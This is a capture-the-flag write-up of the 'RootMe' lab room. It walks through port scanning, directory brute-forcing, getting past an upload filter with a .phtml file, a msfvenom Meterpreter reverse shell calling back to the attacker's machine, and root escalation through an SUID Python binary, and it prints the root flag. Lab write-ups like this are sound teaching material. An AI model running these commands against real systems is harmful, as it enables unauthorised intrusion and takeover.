RootMe is an easy Linux room focused on insecure file upload exploitation and basic Linux privilege escalation. The attack path is straightforward: enumerate the web application, bypass the upload restriction with a PHP-parsed extension, gain code execution, and escalate via a misconfigured SUID Python binary.
Started with a full TCP scan to identify exposed services, then followed up with service detection on the relevant ports.
sudo nmap -sS -p- -T4 10.128.154.229 -vv sudo nmap -sV -p 22,80 10.128.154.229
The scan revealed two open services:
With only HTTP exposed, the next step was content discovery. Directory brute-forcing quickly identified the upload functionality and the location where files were stored after upload.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.128.154.229/FUZZ
Key findings:
The upload panel applied only weak extension filtering. Standard .php files were blocked, but Apache still executed .phtml as PHP, which made the restriction easy to bypass.
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.128.94.175 LPORT=4444 -f raw > shell.phtml
msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 10.128.94.175 set LPORT 4444 exploit
http://10.128.154.229/panelshell.phtmlhttp://10.128.154.229/uploads/shell.phtmlThis resulted in a successful Meterpreter session on the target.
After obtaining shell access, the user flag was located on the web server:
find / -type f -name user.txt 2>/dev/null cat /var/www/user.txt
Note: The notes captured the location of the user flag but not the flag value itself.
While enumerating the host, checking the current user's shell history exposed the exact escalation path used previously on the system.
cat .bash_history
The history contained two especially useful commands:
find / -perm /4000
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
To verify the room's intended path, a direct SUID search was also performed:
find / -perm -u=s -type f 2>/dev/null
The unusual binary was /usr/bin/python. On a normal system, Python should not be SUID-root. That made it an immediate privilege escalation vector.
After dropping from Meterpreter into a standard shell, the SUID Python binary was abused to preserve elevated privileges:
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
This returned a root shell immediately.
With root access confirmed, the final flag was retrieved from the root directory.
whoami cat /root/root.txt
Root Flag: THM{pr1v1l3g3_3sc4l4t10n}
.phtml extension bypass/usr/bin/python.bash_history disclosure.phtml